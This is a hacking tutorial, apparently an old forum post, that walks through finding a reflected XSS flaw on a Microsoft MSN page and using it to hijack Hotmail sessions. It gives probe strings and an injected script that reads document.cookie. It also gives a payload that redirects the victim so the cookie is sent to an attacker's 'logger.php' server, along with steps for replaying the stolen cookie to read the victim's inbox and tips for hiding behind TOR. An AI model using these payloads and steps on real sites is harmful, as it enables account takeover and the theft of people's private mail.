Hacking Hotmail through XSS


Microsoft's code is not always secure. This is very clear, once again, with this XSS exploit. This is not the first XSS exploit that has been found, others before it can attest it.


The idea is simple. When you are logged-in into Hotmail, a cookie is created which allows you access every time you are in it's domain. Since the cookie is not IP-bound (how is this possible? - Microsoft) we are able to fake the cookie. Once stolen, we are able to use it to login.

What this all means is that we do not need to know the password or even the email address of the victim. Through XSS we can insert a piece of javascript code that will send the cookie to a webserver with a log script. This can be written in PHP, ASP, CGI - practically any language you want. The cookie can be faked with Proxomitron.


Finding an exploitable webpage is like being 50% based on pure luck. Or you have a really awful amount of time to spend. There is software that is written for auto-searching XSS exploits. Dont use it - it's crap, clear thinking is enough.

When searching, keep these points in mind:

1. The page where you are searching for must be in the domain, which is specified in the cookie. On the pages with 'Logout' buttons in Hotmail, you are using that cookie. I would recommend you adding some bookmark displaying your cookie, like javascript:alert(document.cookie); .

2. You can use practically any browser, though i'd recommend Mozilla Firefox. It is stable, secure, and available on almost any OS. Opera or Internet Explorer are ok to use as well, if you like them better. One good benefit of using Opera is that it lets you manage your own cookies.

3. If you want to be stealthy use TOR or a proxy. You should be aware though that DNS Leaking is still dangerous

In my search it took me 4 to 5 hours to find three exploits. I will discuss one only.

After having a short look at the cookie, I decided to just start the search. Except for your security, no other preparations are needed. Focus yourself on URL's with GET variables - they are often vulnerable. And, when you opened up a new page, check if your cookie is still equal to Hotmail's login page cookie. Start replacing a GET-variable in the url one by one. Reload the page and view the page source. Check in the source if there are also images or URL's which also contain GET variables, you might be able to exploit these. Is your replaced variable there, try to make it in a way that it ends valid html/javascript and can display an error for you. Often special characters are escaped. A nice all-around variable is something like hya"'><)(ho .


The normal URL:

http://my.msn.com/newmodule.armx?tok=TVJmHF%2bsBJ5RdVvt67SjWQ%3d%3d&page=1& m=&col=1&tab=3

The test URL:

http://my.msn.com/newmodule.armx?tok=TVJmHF%2bsBJ5RdVvt67SjWQ%3d%3d&page=1&m= hya"'><ho&col=1&tab=3

A ctrl+f in the source for hya gave the invalid input:

<input type="hidden" name="m" value="hya"><ho" />

To alert the cookie, it needs to be like this. Fortunately special characters were not escaped:

<input type="hidden" name="m" value="hya"><script>alert(document.cookie)</script><br class="ho" />

The exploited URL:

hya"><script>alert(document.cookie)</script><br class="ho&col=1&tab=3


I assume you have the knowledge to at least figure things out yourself, so I am not going to much in details. In the last examples the cookie was alerted by javascript. We need the cookie to be send to a webserver, and there it needs to be logged. I assume you know how to create a logging file. Replace my code by your file where needed.

This is the edited URL so it sends the cookie to an webserver.

hya"><script>location.href='http://yourserver/logger.php?cookie= '%2Bescape(document.cookie)</script><br 

This is the link the victim should click. As soon as he clicks it, his cookie is being sent to your server, resulting to be saved in your logfile. You can display some innocent error or redirect to an other page.

Next, get Proxomitron. Configure your browser to use it. Fire up proxomitron, go to headers, and fill in the cookie data from your logfile into a fake cookie header (there is one by default). Make sure you have checked the 'out' box. Go to http://my.msn.com/. The inbox of your victim is all yours. If this does not work immediately, a cookie is not made yet. Just go to http://my.msn.com/ again.


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